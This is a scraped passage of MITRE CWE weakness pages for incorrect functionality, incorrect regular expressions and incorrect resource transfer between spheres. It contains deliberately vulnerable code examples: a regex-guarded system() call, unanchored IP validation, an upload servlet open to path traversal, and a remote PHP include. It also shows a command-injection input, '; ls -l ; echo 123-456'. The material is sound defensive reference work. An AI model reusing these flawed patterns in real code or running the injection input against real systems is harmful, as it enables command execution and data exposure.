updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations, References
2014-02-18CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Modes_of_Introduction, References, Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-684: Incorrect Provision of Specified Functionality

Weakness ID: 684
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The code does not function according to its published specifications, potentially leading to incorrect usage.
+ Extended Description
When providing functionality to an external party, it is important that the product behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.710Improper Adherence to Coding Standards
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.392Missing Report of Error Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.393Return of Wrong Status Code
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.440Expected Behavior Violation
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.446UI Discrepancy for Security Feature
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.451User Interface (UI) Misrepresentation of Critical Information
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.912Hidden Functionality
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1245Improper Finite State Machines (FSMs) in Hardware Logic
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

In the following snippet from a doPost() servlet method, the server returns "200 OK" (default) even if an error occurs.

(bad code)
Example Language: Java 
try {

// Something that may throw an exception.
...
} catch (Throwable t) {
logger.error("Caught: " + t.toString());
return;
}

Example 2

In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

(bad code)
Example Language: Java 
try {

// something that might throw IOException
...
} catch (IOException ioe) {
response.sendError(SC_NOT_FOUND);
}
+ Observed Examples
ReferenceDescription
Error checking routine in PKCS#11 library returns "OK" status even when invalid signature is detected, allowing spoofed messages.
Chain: System call returns wrong value (CWE-393), leading to a resultant NULL dereference (CWE-476).
Program uses large timeouts on unconfirmed connections resulting from inconsistency in linked lists implementations.
UI inconsistency; visited URLs list not cleared when "Clear History" option is selected.
+ Potential Mitigations

Phase: Implementation

Ensure that your code strictly conforms to specifications.
+ Weakness Ordinalities
OrdinalityDescription
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.735CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CERT C Secure CodingPRE09-CDo not replace secure functions with less secure functions
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-12-13CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Description, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Relationships, Type
2019-01-03CWE Content TeamMITRE
updated Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Failure to Provide Specified Functionality

CWE-185: Incorrect Regular Expression

Weakness ID: 185
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product specifies a regular expression in a way that causes data to be improperly matched or compared.
+ Extended Description
When the regular expression is used in protection mechanisms such as filtering or validation, this may allow an attacker to bypass the intended restrictions on the incoming data.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.697Incorrect Comparison
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.186Overly Restrictive Regular Expression
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.625Permissive Regular Expression
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.182Collapse of Data into Unsafe Value
CanPrecedeVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.187Partial String Comparison
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Unexpected State; Varies by Context

When the regular expression is not correctly specified, data might have a different format or type than the rest of the program expects, producing resultant weaknesses or errors.
Access Control

Technical Impact: Bypass Protection Mechanism

In PHP, regular expression checks can sometimes be bypassed with a null byte, leading to any number of weaknesses.
+ Demonstrative Examples

Example 1

The following code takes phone numbers as input, and uses a regular expression to reject invalid phone numbers.

(bad code)
Example Language: Perl 
$phone = GetPhoneNumber();
if ($phone =~ /\d+-\d+/) {
# looks like it only has hyphens and digits
system("lookup-phone $phone");
}
else {
error("malformed number!");
}

An attacker could provide an argument such as: "; ls -l ; echo 123-456" This would pass the check, since "123-456" is sufficient to match the "\d+-\d+" portion of the regular expression.

Example 2

This code uses a regular expression to validate an IP string prior to using it in a call to the "ping" command.

(bad code)
Example Language: Python 
import subprocess
import re

def validate_ip_regex(ip: str):
ip_validator = re.compile(r"((25[0-5]|(2[0-4]|1\d|[1-9]|)\d)\.?\b){4}")
if ip_validator.match(ip):
return ip
else:
raise ValueError("IP address does not match valid pattern.")

def run_ping_regex(ip: str):
validated = validate_ip_regex(ip)
# The ping command treats zero-prepended IP addresses as octal
result = subprocess.call(["ping", validated])
print(result)

Since the regular expression does not have anchors (CWE-777), i.e. is unbounded without ^ or $ characters, then prepending a 0 or 0x to the beginning of the IP address will still result in a matched regex pattern. Since the ping command supports octal and hex prepended IP addresses, it will use the unexpectedly valid IP address (CWE-1389). For example, "0x63.63.63.63" would be considered equivalent to "99.63.63.63". As a result, the attacker could potentially ping systems that the attacker cannot reach directly.

+ Observed Examples
ReferenceDescription
Regexp isn't "anchored" to the beginning or end, which allows spoofed values that have trusted values as substrings.
Regexp for IP address isn't anchored at the end, allowing appending of shell metacharacters.
Bypass access restrictions via multiple leading slash, which causes a regular expression to fail.
Local user DoS via invalid regular expressions.
chain: Malformed input generates a regular expression error that leads to information exposure.
Certain strings are later used in a regexp, leading to a resultant crash.
MFV. Regular expression intended to protect against directory traversal reduces ".../...//" to "../".
Malformed regexp syntax leads to information exposure in error message.
Code injection due to improper quoting of regular expression.
Null byte bypasses PHP regexp check.
Null byte bypasses PHP regexp check.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Refactoring

Regular expressions can become error prone when defining a complex language even for those experienced in writing grammars. Determine if several smaller regular expressions simplify one large regular expression. Also, subject the regular expression to thorough testing techniques such as equivalence partitioning, boundary value analysis, and robustness. After testing and a reasonable confidence level is achieved, a regular expression may not be foolproof. If an exploit is allowed to slip through, then record the exploit and refactor the regular expression.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1397Comprehensive Categorization: Comparison
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

While there is some overlap with allowlist/denylist problems, this entry is intended to deal with incorrectly written regular expressions, regardless of their intended use. Not every regular expression is intended for use as an allowlist or denylist. In addition, allowlists and denylists can be implemented using other mechanisms besides regular expressions.

Research Gap

Regexp errors are likely a primary factor in many MFVs, especially those that require multiple manipulations to exploit. However, they are rarely diagnosed at this level of detail.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERRegular Expression Error
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 10, "Using Regular Expressions for Checking Input" Page 350. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Name, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings
2009-12-28CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2010-02-16CWE Content TeamMITRE
updated References
2010-04-05CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Other_Notes, Relationship_Notes
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated References
2018-03-27CWE Content TeamMITRE
updated References
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Relationships, Type
2020-06-25CWE Content TeamMITRE
updated Relationship_Notes
2021-03-15CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Regular Expression Error

CWE-669: Incorrect Resource Transfer Between Spheres

Weakness ID: 669
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.212Improper Removal of Sensitive Information Before Storage or Transfer
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.243Creation of chroot Jail Without Changing Working Directory
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.434Unrestricted Upload of File with Dangerous Type
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.494Download of Code Without Integrity Check
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.829Inclusion of Functionality from Untrusted Control Sphere
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1420Exposure of Sensitive Information during Transient Execution
CanFollowVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.244Improper Clearing of Heap Memory Before Release ('Heap Inspection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.212Improper Removal of Sensitive Information Before Storage or Transfer
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.434Unrestricted Upload of File with Dangerous Type
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.494Download of Code Without Integrity Check
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.565Reliance on Cookies without Validation and Integrity Checking
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.829Inclusion of Functionality from Untrusted Control Sphere
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Background Details
A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data; Unexpected State

+ Demonstrative Examples

Example 1

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.

(good code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(bad code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {
...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();


} catch (IOException ex) {...}
// output successful upload response HTML page
}
// output unsuccessful upload response HTML page
else
{...}
}
...
}

This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Example 2

This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

(bad code)
Example Language: PHP 
//assume the password is already encrypted, avoiding CWE-312

function authenticate($username,$password){

include("http://external.example.com/dbInfo.php");

//dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
mysql_select_db($dbname);
$query = 'Select * from users where username='.$username.' And password='.$password;
$result = mysql_query($query);

if(mysql_numrows($result) == 1){
mysql_close();
return true;
}
else{
mysql_close();
return false;
}

}

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themself to access the application without a real user account.

This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.

Example 3

This code either generates a public HTML user information page or a JSON response containing the same user information.

(bad code)
Example Language: PHP 

// API flag, output JSON if set
$json = $_GET['json']
$username = $_GET['user']
if(!$json)
{
$record = getUserRecord($username);
foreach($record as $fieldName => $fieldValue)
{
if($fieldName == "email_address") {

// skip displaying user emails
continue;
}
else{
writeToHtmlPage($fieldName,$fieldValue);
}
}
}
else
{
$record = getUserRecord($username);
echo json_encode($record);
}

The programmer is careful to not display the user's e-mail address when displaying the public HTML page. However, the e-mail address is not removed from the JSON response, exposing the user's e-mail address.

+ Observed Examples
ReferenceDescription
Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494).
PHP-based FAQ management app does not check the MIME type for uploaded images
Some image editors modify a JPEG image, but the original EXIF thumbnail image is left intact within the JPEG. (Also an interaction error).
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2008-10-14CWE Content TeamMITRE
updated Relationships
2009-10-29CWE Content TeamMITRE
updated Background_Details, Other_Notes
2010-02-16CWE Content TeamMITRE
updated Relationships
2010-12-13CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Relevant_Properties
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
